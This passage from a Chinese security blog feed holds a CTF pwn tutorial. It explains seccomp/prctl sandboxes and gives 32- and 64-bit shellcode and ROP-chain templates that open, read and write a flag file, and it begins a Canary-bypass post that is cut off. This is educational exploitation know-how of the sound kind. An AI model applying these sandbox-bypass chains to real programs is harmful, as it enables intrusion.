    <category term="二进制漏洞利用" scheme="https://www.uf4te.cn/categories/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    
    
    <category term="Writeup" scheme="https://www.uf4te.cn/tags/Writeup/"/>
    
    <category term="Pwn" scheme="https://www.uf4te.cn/tags/Pwn/"/>
    
  </entry>
  
  <entry>
    <title>沙箱绕过与ORW</title>
    <link href="https://www.uf4te.cn/posts/7a9990fc.html"/>
    <id>https://www.uf4te.cn/posts/7a9990fc.html</id>
    <published>2024-05-12T02:53:41.000Z</published>
    <updated>2025-10-29T08:23:12.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="沙箱"><a href="#沙箱" class="headerlink" title="沙箱"></a>沙箱</h1><blockquote><p>沙箱技术是一种安全机制，目的在于为执行中的程序提供隔离环境，可以将沙箱理解为是一个虚拟系统程序，它创造了一个类似沙箱的独立作业环境，并且会把所有操作记录下来，在其内部运行的程序并不能对硬盘产生永久性的影响</p><p>沙箱是一个独立的虚拟环境，通过拦截系统调用，监视程序行为，可以用来测试不受信任的应用程序或上网行为</p></blockquote><hr><h2 id="沙箱和虚拟机的区别"><a href="#沙箱和虚拟机的区别" class="headerlink" title="沙箱和虚拟机的区别"></a>沙箱和虚拟机的区别</h2><blockquote><p>从表面和目的上来看，沙箱有点类似于物理主机和虚拟机之间的关系，但是它们之间并不完全等价</p><p>参考文章：<a href="https://blog.csdn.net/syy15270341019/article/details/133036033">沙箱和虚拟机的区别-CSDN博客</a></p></blockquote><ul><li>沙箱</li></ul><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E6%B2%99%E7%AE%B1%E7%BB%95%E8%BF%87%E4%B8%8EORW1.png" alt="沙箱绕过与ORW1.png"></p><ol><li><p>沙箱是在现有的系统下，虚拟文件系统和注册表，通过底层驱动虚拟硬盘等操作，让你在虚拟的软件环境中运行应用程序</p></li><li><p>沙箱中的应用程序和其它应用程序共享机器的硬件资源，对系统资源消耗较少</p></li><li><p>当沙箱中的应用程序退出后，其所做的更改会被丢弃</p></li><li><p>沙箱在进行软件测试时，沙箱会接管病毒调用接口或函数的行为，并会在确认为病毒行为后实行回滚机制，让系统复原</p></li><li><p>沙箱一般来说是不能运行需要驱动加载的软件的</p></li></ol><ul><li>虚拟机</li></ul><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E6%B2%99%E7%AE%B1%E7%BB%95%E8%BF%87%E4%B8%8EORW2.png" alt="沙箱绕过与ORW2.png"></p><ol><li><p>虚拟机是通过软件手段虚拟计算机的硬件设备，在现有的系统下建立一个全新的系统环境，在没有进行设置前，该系统环境无法与现有系统相互访问</p></li><li><p>虚拟机不和其它应用程序共享硬件资源，因此虚拟机对系统资源消耗较大</p></li><li><p>当虚拟机退出后，其所做的更改会被保存下来</p></li><li><p>虚拟机不具备回滚复原机制，在激发病毒后，虚拟机会根据病毒的行为特征判断为是某一类病毒，并调用引擎对该病毒进行清除</p></li><li><p> 虚拟机可以运行在正常系统下可以运行的软件，它可以享有属于自身的驱动程序</p></li></ol><blockquote><p>相对来说，虚拟机的安全性更高、技术比较稳定，很少有病毒可以攻破虚拟机使主机中毒</p><p>除此之外，虚拟机的用途更广泛</p></blockquote><hr><h2 id="沙箱保护的种类"><a href="#沙箱保护的种类" class="headerlink" title="沙箱保护的种类"></a>沙箱保护的种类</h2><blockquote><p>参考文章：<a href="https://xz.aliyun.com/t/12787?time__1311=mqmhDvrxkG8D/D0lD2DUh9Cr4cC+eD&alichlgref=https://www.google.com/">栈沙箱学习之orw - 先知社区</a></p></blockquote><p>在程序中通常会使用一个函数来创建沙箱，例如使用 <code>sandbox()</code> 函数开启沙箱保护</p><p><code>sandbox()</code> 函数通常有两种方式开启沙箱：<code>prctl</code> 函数调用、<code>seccomp</code> 库函数</p><blockquote><p>沙箱保护一般都会限制 <code>execve</code> 的系统调用，例如 <code>one_gadget</code> 和 <code>system</code> 调用，使我们不能正常 <code>get shell</code>，只能通过 ROP 调用 <code>open()</code>、<code>read()</code>、<code>write()</code> 的组合方式来获取 flag</p><p>当然，为了提高难度，有时候 <code>open()</code>、<code>read()</code>、<code>write()</code> 的组合也会被部分禁用</p></blockquote><ul><li>使用 <code>prctl()</code> 方式开启的沙箱</li></ul><p>函数定义如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/prctl.h></span></span><span class="token keyword">int</span> <span class="token function">prctl</span><span class="token punctuation">(</span><span class="token keyword">int</span> option<span class="token punctuation">,</span> <span class="token keyword">unsigned</span> <span class="token keyword">long</span> arg2<span class="token punctuation">,</span> <span class="token keyword">unsigned</span> <span class="token keyword">long</span> arg3<span class="token punctuation">,</span> <span class="token keyword">unsigned</span> <span class="token keyword">long</span> arg4<span class="token punctuation">,</span> <span class="token keyword">unsigned</span> <span class="token keyword">long</span> arg5<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>主要关注 <code>prctl()</code> 函数的第一个参数，<code>option</code> 的值代表被禁用的函数黑名单</p><ol><li><code>prctl(38, 1LL, 0LL, 0LL, 0LL)</code></li></ol><p>当第一个参数为 38 时，表示禁用系统调用</p><p>第二个参数设置为 1，则禁用 execve 系统调用，对子进程同样生效</p><ol start="2"><li><code>prctl(22，2, &amp;v1)</code></li></ol><p>当第一个参数为 22 时，表示设置沙箱规则，从而可以实现改变函数的系统调用</p><p>第二个参数设置为 1，只允许调用 <code>read</code>、<code>write</code>、<code>_exit(not exit_group)</code>、<code>sigreturn</code> 这几个 <code>syscall</code></p><p>第二个参数设置为 2，过滤模式，通过参数 3 的结构体自定义过滤规则来对 <code>syscall</code> 进行限制</p><ul><li>使用 <code>seccomp()</code> 函数调用开启的沙箱</li></ul><p>函数定义如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">__int64 <span class="token function">sandbox</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  __int64 v1<span class="token punctuation">;</span> <span class="token comment">// [rsp+8h] [rbp-8h]</span>  <span class="token comment">// 这里介绍两个重要的宏，SCMP_ACT_ALLOW(0x7fff0000U) 和 SCMP_ACT_KILL( 0x00000000U)</span>  <span class="token comment">// seccomp 初始化，参数为 0 表示白名单模式，参数为 0x7fff0000U 则为黑名单模式</span>  v1 <span class="token operator">=</span> <span class="token function">seccomp_init</span><span class="token punctuation">(</span><span class="token number">0LL</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token operator">!</span>v1 <span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"seccomp error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// seccomp_rule_add 添加规则</span>  <span class="token comment">// v1 对应上面初始化的返回值</span>  <span class="token comment">// 0x7fff0000 即对应宏 SCMP_ACT_ALLOW</span>  <span class="token comment">// 第三个参数代表对应的系统调用号，0-->read / 1-->write / 2-->open / 60-->exit</span>  <span class="token comment">// 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数，传 0 不做任何限制</span>  <span class="token function">seccomp_rule_add</span><span class="token punctuation">(</span>v1<span class="token punctuation">,</span> <span class="token number">0x7FFF0000LL</span><span class="token punctuation">,</span> <span class="token number">2LL</span><span class="token punctuation">,</span> <span class="token number">0LL</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">seccomp_rule_add</span><span class="token punctuation">(</span>v1<span class="token punctuation">,</span> <span class="token number">0x7FFF0000LL</span><span class="token punctuation">,</span> <span class="token number">0LL</span><span class="token punctuation">,</span> <span class="token number">0LL</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">seccomp_rule_add</span><span class="token punctuation">(</span>v1<span class="token punctuation">,</span> <span class="token number">0x7FFF0000LL</span><span class="token punctuation">,</span> <span class="token number">1LL</span><span class="token punctuation">,</span> <span class="token number">0LL</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">seccomp_rule_add</span><span class="token punctuation">(</span>v1<span class="token punctuation">,</span> <span class="token number">0x7FFF0000LL</span><span class="token punctuation">,</span> <span class="token number">60LL</span><span class="token punctuation">,</span> <span class="token number">0LL</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">seccomp_rule_add</span><span class="token punctuation">(</span>v1<span class="token punctuation">,</span> <span class="token number">0x7FFF0000LL</span><span class="token punctuation">,</span> <span class="token number">231LL</span><span class="token punctuation">,</span> <span class="token number">0LL</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// seccomp_load -> 将当前 seccomp 过滤器加载到内核中</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token function">seccomp_load</span><span class="token punctuation">(</span>v1<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span> <span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token comment">// seccomp_release -> 释放 seccomp 过滤器状态</span>    <span class="token comment">// 但对已经 load 的过滤规则不影响</span>    <span class="token function">seccomp_release</span><span class="token punctuation">(</span>v1<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"seccomp error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token function">seccomp_release</span><span class="token punctuation">(</span>v1<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><h2 id="沙箱保护的识别"><a href="#沙箱保护的识别" class="headerlink" title="沙箱保护的识别"></a>沙箱保护的识别</h2><p>使用工具 <code>seccomp-tools</code> 可以识别二进制程序是否开启了沙箱，并且禁止了哪些系统调用</p><p>安装 <code>seccomp-tools</code>：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> gcc ruby-devgem <span class="token function">install</span> seccomp-tools<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>使用方法：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">seccomp-tools dump 二进制程序<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E6%B2%99%E7%AE%B1%E7%BB%95%E8%BF%87%E4%B8%8EORW3.png" alt="沙箱绕过与ORW3.png"></p><p>重点注意最后的两句：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">0004: 0x06 0x00 0x00 0x00000000  <span class="token builtin class-name">return</span> KILL0005: 0x06 0x00 0x00 0x7fff0000  <span class="token builtin class-name">return</span> ALLOW<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>通过 <code>goto</code> 跳转的地址可以判断哪些系统调用是被禁止的，比如这里是禁用了 <code>execve</code></p><hr><h1 id="ORW"><a href="#ORW" class="headerlink" title="ORW"></a>ORW</h1><blockquote><p>顾名思义，就是 <code>open</code>、<code>read</code>、<code>write</code>：打开文件，将文件内容读取存储到某个位置，将文件内容打印出来</p><p><mark>这种方法不能获取 shell，但可以实现任意地址读和任意地址写</mark></p><p><strong>由于 <code>open()</code> 函数打开文件需要传入一个文件名，因此我们可能需要先在某个地址处写入文件名 <code>b&#39;/flag\x00&#39;</code>，然后将其地址作为参数传给 <code>open()</code> 函数</strong></p></blockquote><ul><li>32 位 ORW 系统调用号：</li></ul><table><thead><tr><th align="left">eax</th><th align="left">system call</th><th align="left">ebx</th><th align="left">ecx</th><th align="left">edx</th><th></th></tr></thead><tbody><tr><td align="left">3</td><td align="left"><code>read()</code></td><td align="left">unsigned int fd</td><td align="left">char *buf</td><td align="left">size_t count</td><td></td></tr><tr><td align="left">4</td><td align="left"><code>write()</code></td><td align="left">unsigned int fd</td><td align="left">const char *buf</td><td align="left">size_t count</td><td></td></tr><tr><td align="left">5</td><td align="left"><code>open()</code></td><td align="left">const char *filename</td><td align="left">int flags</td><td align="left">int mode</td><td></td></tr></tbody></table><p>其它类似功能的函数也是可以使用的，例如：<code>fopen()</code>、<code>fwrite()</code>，具体根据函数的传参调整寄存器即可</p><p>更多 32 位 syscall 格式见：<a href="https://github.com/torvalds/linux/blob/16f73eb02d7e1765ccab3d2018e0bd98eb93d973/arch/x86/entry/syscalls/syscall_32.tbl">linux&#x2F;syscall_32.tbl · torvalds&#x2F;linux · GitHub</a></p><ul><li>64 位 ORW 系统调用号：</li></ul><table><thead><tr><th align="left">rax</th><th align="left">system call</th><th align="left">rdi</th><th align="left">rsi</th><th align="left">rdx</th></tr></thead><tbody><tr><td align="left">0</td><td align="left"><code>read()</code></td><td align="left">unsigned int fd</td><td align="left">char *buf</td><td align="left">size_t count</td></tr><tr><td align="left">1</td><td align="left"><code>write()</code></td><td align="left">unsigned int fd</td><td align="left">const char *buf</td><td align="left">size_t count</td></tr><tr><td align="left">2</td><td align="left"><code>open()</code></td><td align="left">const char *filename</td><td align="left">int flags</td><td align="left">int mode</td></tr></tbody></table><p>其它类似功能的函数也是可以使用的，例如：<code>fopen()</code>、<code>fwrite()</code>、<code>open64()</code>，具体根据函数的传参调整寄存器即可</p><p>更多 64 位 syscall 格式见：<a href="https://github.com/torvalds/linux/blob/16f73eb02d7e1765ccab3d2018e0bd98eb93d973/arch/x86/entry/syscalls/syscall_64.tbl">linux&#x2F;syscall_64.tbl · torvalds&#x2F;linux · GitHub</a></p><hr><h2 id="Shellcode-型"><a href="#Shellcode-型" class="headerlink" title="Shellcode 型"></a>Shellcode 型</h2><blockquote><p><strong>适用于程序没有 NX 保护的时候</strong>，我们可以直接将指令写到栈上并执行</p><p>不过现在程序不开 NX 保护的情况几乎很少了，所以这种方法了解一下就好</p></blockquote><h3 id="32-位-ORW-构造"><a href="#32-位-ORW-构造" class="headerlink" title="32 位 ORW 构造"></a>32 位 ORW 构造</h3><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment"># fd = open('/flag', 0) </span>ORW <span class="token operator">=</span> <span class="token triple-quoted-string string">''' xor edx,edx; mov ecx,0; mov ebx,0x804a094; mov eax,5; int 0x80; '''</span><span class="token comment"># read(fd, 0x804a094, 0x50) </span>ORW <span class="token operator">+=</span> <span class="token triple-quoted-string string">''' mov edx,0x50; mov ecx,ebx; mov ebx,eax; mov eax,3; int 0x80; '''</span><span class="token comment"># write(1, 0x804a094, 0x50) </span>ORW <span class="token operator">+=</span> <span class="token triple-quoted-string string">''' mov edx,0x50; mov ebx,1; mov eax,4; int 0x80; '''</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>如果对汇编语言不熟悉，也可以利用 Pwntools 的 <code>shellcraft</code> 模块生成：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment"># 声明程序架构为 32 位</span>context<span class="token punctuation">(</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">,</span> arch<span class="token operator">=</span><span class="token string">'i386'</span><span class="token punctuation">,</span> log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">)</span><span class="token comment"># 打开本地的flag文件</span>ORW <span class="token operator">=</span> asm<span class="token punctuation">(</span>shellcraft<span class="token punctuation">.</span><span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'/flag'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 文件描述符3：其它打开的文件，将 flag 内容写入到 data_address 地址处</span>ORW <span class="token operator">+=</span> asm<span class="token punctuation">(</span>shellcraft<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">,</span> data_address<span class="token punctuation">,</span> <span class="token number">0x50</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 文件描述符1：输出到屏幕，打印地址 data_address 处存储的 flag 内容</span>ORW <span class="token operator">+=</span> asm<span class="token punctuation">(</span>shellcraft<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> data_address<span class="token punctuation">,</span> <span class="token number">0x50</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="64-位-ORW-构造"><a href="#64-位-ORW-构造" class="headerlink" title="64 位 ORW 构造"></a>64 位 ORW 构造</h3><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment"># fd = open('/flag', 0) </span>ORW <span class="token operator">=</span> <span class="token triple-quoted-string string">''' xor rdx,rdx; mov rsi,0; mov rdi,0x804a094; mov rax,2; syscall; '''</span><span class="token comment"># read(fd, 0x804a094, 0x50) </span>ORW <span class="token operator">+=</span> <span class="token triple-quoted-string string">''' mov rdx,0x50; mov rsi,rdi; mov rdi,rax; mov rax,0; syscall; '''</span><span class="token comment"># write(1, 0x804a094, 0x50) </span>ORW <span class="token operator">+=</span> <span class="token triple-quoted-string string">''' mov rdx,0x50; mov rdi,1; mov rax,1; syscall; '''</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>如果对汇编语言不熟悉，也可以利用 Pwntools 的 <code>shellcraft</code> 模块生成：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment"># 声明程序架构为 64 位</span>context<span class="token punctuation">(</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">,</span> arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span> log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">)</span><span class="token comment"># 打开本地的flag文件</span>ORW <span class="token operator">=</span> asm<span class="token punctuation">(</span>shellcraft<span class="token punctuation">.</span><span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'/flag'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 文件描述符3：其它打开的文件，将 flag 内容写入到 data_address 地址处</span>ORW <span class="token operator">+=</span> asm<span class="token punctuation">(</span>shellcraft<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">,</span> data_address<span class="token punctuation">,</span> <span class="token number">0x50</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 文件描述符1：输出到屏幕，打印地址 data_address 处存储的 flag 内容</span>ORW <span class="token operator">+=</span> asm<span class="token punctuation">(</span>shellcraft<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> data_address<span class="token punctuation">,</span> <span class="token number">0x50</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><h2 id="ROP-型"><a href="#ROP-型" class="headerlink" title="ROP 型"></a>ROP 型</h2><blockquote><p>如果程序开启了 NX 保护，那么 Shellcode 型 ORW 就失效了</p><p>因此，<strong>相对来说，这种 ROP 的方式实用性更广一些</strong></p></blockquote><h3 id="32-位-ORW-构造-1"><a href="#32-位-ORW-构造-1" class="headerlink" title="32 位 ORW 构造"></a>32 位 ORW 构造</h3><blockquote><p>注意：32 位程序在传参时栈上会多出一个返回地址 <code>back_addr</code></p><p><em>我们可以将 <code>back_addr</code> 设置为让我们输入构造 ROP 的地方，这样就可以连续输入 3 次，将 ORW 连续 3 次分别写入并执行</em></p></blockquote><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment"># fd = fopen('/flag', 'r') </span>ORW1 <span class="token operator">=</span> p32<span class="token punctuation">(</span>fopen_plt_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>back_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>flag_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>r_addr<span class="token punctuation">)</span><span class="token comment"># read(3, write_flag_addr, 0x50)</span>ORW2 <span class="token operator">=</span> p32<span class="token punctuation">(</span>read_plt_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>back_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>flag_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span><span class="token number">0x50</span><span class="token punctuation">)</span><span class="token comment"># write(1, write_flag_addr, 0x50)</span>ORW3 <span class="token operator">=</span> p32<span class="token punctuation">(</span>write_plt_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>main_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>flag_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span><span class="token number">0x50</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="64-位-ORW-构造-1"><a href="#64-位-ORW-构造-1" class="headerlink" title="64 位 ORW 构造"></a>64 位 ORW 构造</h3><blockquote><p>注意：64 位程序传参需要借助寄存器</p><p><em>因此程序中具体存在什么样的 gadget 需要具体分析，ORW 构造也会相应地修改，但只要保证我们能够将对应的值传入对应的寄存器中即可</em></p><p><strong>如果没有合适的 gadget 利用，可以尝试 Ret2csu</strong></p></blockquote><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment"># open(b'/flag\x00\x00', 0)</span>ORW <span class="token operator">=</span> p64<span class="token punctuation">(</span>pop_rdi_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>flag_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>pop_rsi_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>open64_plt_addr<span class="token punctuation">)</span><span class="token comment"># read(3, name_addr, 0x50)</span>ORW <span class="token operator">+=</span> p64<span class="token punctuation">(</span>pop_rdi_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>pop_rsi_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>flag_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>pop_rdx_rbx_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x50</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>read_plt_addr<span class="token punctuation">)</span><span class="token comment"># write(1, name_addr, 0x50)</span>ORW <span class="token operator">+=</span> p64<span class="token punctuation">(</span>pop_rdi_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>pop_rsi_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>flag_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>pop_rdx_rbx_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x50</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>write_plt_addr<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr>]]></content>
    
    
    <summary type="html">沙箱技术是一种为执行中的程序提供隔离环境的安全机制，但与虚拟机有所区别，在沙箱环境下通常会限制一些系统调用，虽然 ORW 无法获取 shell，但可以实现任意地址读和任意地址写</summary>
    
    
    
    <category term="二进制漏洞利用" scheme="https://www.uf4te.cn/categories/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    
    
    <category term="Pwn" scheme="https://www.uf4te.cn/tags/Pwn/"/>
    
    <category term="ORW" scheme="https://www.uf4te.cn/tags/ORW/"/>
    
    <category term="沙箱绕过" scheme="https://www.uf4te.cn/tags/%E6%B2%99%E7%AE%B1%E7%BB%95%E8%BF%87/"/>
    
  </entry>
  
  <entry>
    <title>Bypass安全机制</title>
    <link href="https://www.uf4te.cn/posts/c695aa69.html"/>
    <id>https://www.uf4te.cn/posts/c695aa69.html</id>
    <published>2024-05-12T02:05:35.000Z</published>
    <updated>2025-10-31T12:38:57.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Canary-Bypass"><a href="#Canary-Bypass" class="headerlink" title="Canary Bypass"></a>Canary Bypass</h1><blockquote><p>本节主要汇总了常用的绕过 Canary 的方法</p><p>参考文章：<a href="https://www.anquanke.com/post/id/262846#h2-16">绕过canary保护的6种方法-安全客 - 安全资讯平台</a></p></blockquote><hr><h2 id="什么是-Canary？"><a href="#什么是-Canary？" class="headerlink" title="什么是 Canary？"></a>什么是 Canary？</h2><blockquote><p>Canary 又叫金丝雀，是一种针对栈溢出的保护机制，它在程序的函数入口处从 GS 段（32 位）或 FS 段（64 位）内获取一个随机值，<strong>每次进程重启的 Canary 都不同，但是同一个进程中的不同线程的 Canary 是相同的</strong></p><p>如果我们想利用栈溢出覆盖返回值，则填充的数据必定会经过栈上的 Canary，如果程序检测到 Canary 的值被修改，程序便会执行 <code>__stack_chk_fail</code> 函数，导致程序发生崩溃，我们也就无法利用栈溢出漏洞了</p><p>触发 Canary 保护时，程序会输出：<code>*** stack smashing detected ***: terminated</code></p><p>注意：<mark>子进程由于触发 Canary 崩溃不会导致父进程退出</mark>，这为我们 Bypass Canary 提供了更多的可能</p></blockquote><p>GCC 编译时设置 Canary 保护的参数：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">-fstack-protector   <span class="token comment"># 启用保护，不过只为局部变量中含有 char 数组的函数插入保护</span>-fstack-protector-all   <span class="token comment"># 启用保护，为所有函数插入保护</span>-fstack-protector-strong-fstack-protector-explicit   <span class="token comment"># 只对有明确 stack_protect attribute 的函数开启保护</span>-fno-stack-protector   <span class="token comment"># 禁用保护</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>在 IDA 中，Canary 一般以如下形式出现：</p><ul><li>64 位程序</li></ul><pre class="line-numbers language-c" data-language="c"><code class="language-c">v2 <span class="token operator">=</span> <span class="token function">__readfsqword</span><span class="token punctuation">(</span><span class="token number">0x28u</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF-PWN_Bypass%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B613.png" alt="CTF-PWN_Bypass安全机制13.png"></p><ul><li>32 位程序</li></ul><pre class="line-numbers language-c" data-language="c"><code class="language-c">v2 <span class="token operator">=</span> <span class="token function">__readgsdword</span><span class="token punctuation">(</span><span class="token number">0x14u</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF-PWN_Bypass%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B614.png" alt="CTF-PWN_Bypass安全机制14.png"></p><p>在 64 位程序中，通常 Canary 在栈中是位于 RBP 上方的 8 字节（与 RBP 相邻），<strong>但是 Canary 的位置不一定总是与 RBP 相邻，具体得看编译器的操作</strong></p><p>以一个 64 位程序的例子来说明：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF-PWN_Bypass%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B61.png" alt="CTF-PWN_Bypass安全机制1.png"></p><p>可以看到 <code>v2</code> 位于 <code>rbp - 8h</code> 的地方，正好在 RBP 上方的 8 字节（与 RBP 相邻）</p><p>在栈中的样子：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF-PWN_Bypass%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B62.png" alt="CTF-PWN_Bypass安全机制2.png"></p><p><img 